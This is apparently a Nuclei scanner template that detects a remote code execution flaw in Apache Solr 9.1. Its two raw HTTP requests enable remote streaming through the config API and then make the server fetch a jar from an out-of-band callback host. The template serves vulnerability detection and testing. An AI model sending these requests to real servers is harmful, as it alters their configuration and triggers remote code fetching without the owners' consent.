id: apache-solr-rce

info:
  name: Apache Solr 9.1 - Remote Code Execution
  author: j4vaovo
  severity: critical
  description: Apache Solr 9.1 is vulnerable to RCE.
  reference:
    - https://web.archive.org/web/20230414152023/https://noahblog.360.cn/apache-solr-rce/
  classification:
    cwe-id: CWE-15,CWE-94,CWE-99
  metadata:
    max-request: 2
  tags: solr,apache,rce,oast,intrusive,vuln

http:
  - raw:
      - |
        POST /solr/gettingstarted_shard1_replica_n1/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
      - |
        POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9

        --------------------------5897997e44b07bf9
        Content-Disposition: form-data; name="stream.url"

        jar:http://{{interactsh-url}}/test.jar?!/Test.class
        --------------------------5897997e44b07bf9--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
# digest: 490a00463044022064d72da0179e45a35d41b15a5cc6e64f7b541cf9195a8c1df950ea63bfcfa6f8022049d1861aca3193ec6bf9e65f8a038713fbd933eeda48787870a654daed5d9005:922c64590222798bb761d5b6d8e72950